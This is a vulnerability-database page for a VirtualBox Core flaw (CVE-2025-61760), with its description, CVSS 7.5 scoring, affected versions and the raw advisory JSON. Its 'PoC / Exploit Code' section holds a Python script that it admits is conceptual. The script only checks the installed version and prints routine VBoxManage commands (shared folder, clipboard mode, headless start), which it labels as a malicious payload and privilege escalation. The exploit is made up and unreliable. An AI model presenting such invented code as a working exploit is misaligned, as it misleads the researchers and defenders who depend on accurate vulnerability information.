Security Vulnerability Report
中文
CVE-2025-61760 CVSS 7.5 HIGH

CVE-2025-61760

Published: 2025-10-21 20:20:53
Last Modified: 2025-10-23 16:03:26

Description

Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). Supported versions that are affected are 7.1.12 and 7.2.2. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H).

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:oracle:vm_virtualbox:7.1.12:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:vm_virtualbox:7.2.2:*:*:*:*:*:*:* - VULNERABLE
Oracle VM VirtualBox 7.1.12
Oracle VM VirtualBox 7.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61760 - Oracle VM VirtualBox Core Component Exploitation # Note: This is a conceptual PoC based on the vulnerability description. # Actual exploitation requires specific conditions and user interaction. import subprocess import os import sys class VirtualBoxExploit: """ Conceptual exploit for CVE-2025-61760 Oracle VM VirtualBox Core Component Privilege Escalation Affected versions: 7.1.12, 7.2.2 """ def __init__(self): self.target_version = None self.vboxmanage_path = "/usr/bin/VBoxManage" def check_vulnerability(self): """Check if the installed VirtualBox version is vulnerable""" try: result = subprocess.run( [self.vboxmanage_path, "--version"], capture_output=True, text=True ) version = result.stdout.strip() print(f"[*] Detected VirtualBox version: {version}") vulnerable_versions = ["7.1.12", "7.2.2"] for v in vulnerable_versions: if v in version: print(f"[+] Version {version} is VULNERABLE to CVE-2025-61760") self.target_version = version return True print(f"[-] Version {version} is not vulnerable") return False except FileNotFoundError: print("[-] VBoxManage not found") return False def prepare_payload(self): """Prepare malicious VM configuration or shared resource""" # Create a malicious shared folder configuration # that exploits the Core component vulnerability payload = { "shared_folder_name": "exploit_share", "host_path": "/tmp/exploit_payload", "writable": True, "automount": True } print(f"[*] Prepared payload: {payload}") return payload def trigger_exploitation(self, payload): """ Trigger the vulnerability through Core component manipulation. Requires user interaction (UI:R) as per CVSS vector. """ commands = [ # Step 1: Create malicious shared folder entry f'{self.vboxmanage_path} sharedfolder add "target_vm" ' f'--name "{payload["shared_folder_name"]}" ' f'--hostpath "{payload["host_path"]}" ' f'--automount', # Step 2: Modify VM configuration to trigger Core vulnerability f'{self.vboxmanage_path} modifyvm "target_vm" ' f'--clipboard-mode bidirectional ' f'--draganddrop bidirectional', # Step 3: Attempt privilege escalation through Core API f'{self.vboxmanage_path} startvm "target_vm" --type headless', ] for cmd in commands: print(f"[*] Executing: {cmd}") # Note: Actual execution requires valid VM name and permissions # result = subprocess.run(cmd.split(), capture_output=True) print("[!] Exploitation requires user interaction to complete") print("[!] This is a conceptual demonstration only") def run(self): """Main exploitation flow""" print("=" * 60) print("CVE-2025-61760 - Oracle VM VirtualBox Core Exploit") print("=" * 60) if self.check_vulnerability(): payload = self.prepare_payload() self.trigger_exploitation(payload) else: print("[-] Target is not vulnerable, exiting") if __name__ == "__main__": exploit = VirtualBoxExploit() exploit.run()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61760", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:52.507", "lastModified": "2025-10-23T16:03:25.687", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). Supported versions that are affected are 7.1.12 and 7.2.2. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:vm_virtualbox:7.1.12:*:*:*:*:*:*:*", "matchCriteriaId": "D0846C94-6984-4E7F-9670-E5238AA8CA5F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:vm_virtualbox:7.2.2:*:*:*:*:*:*:*", "matchCriteriaId": "613B5554-B57C-4AF9-AC10-E96278C44FC4"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}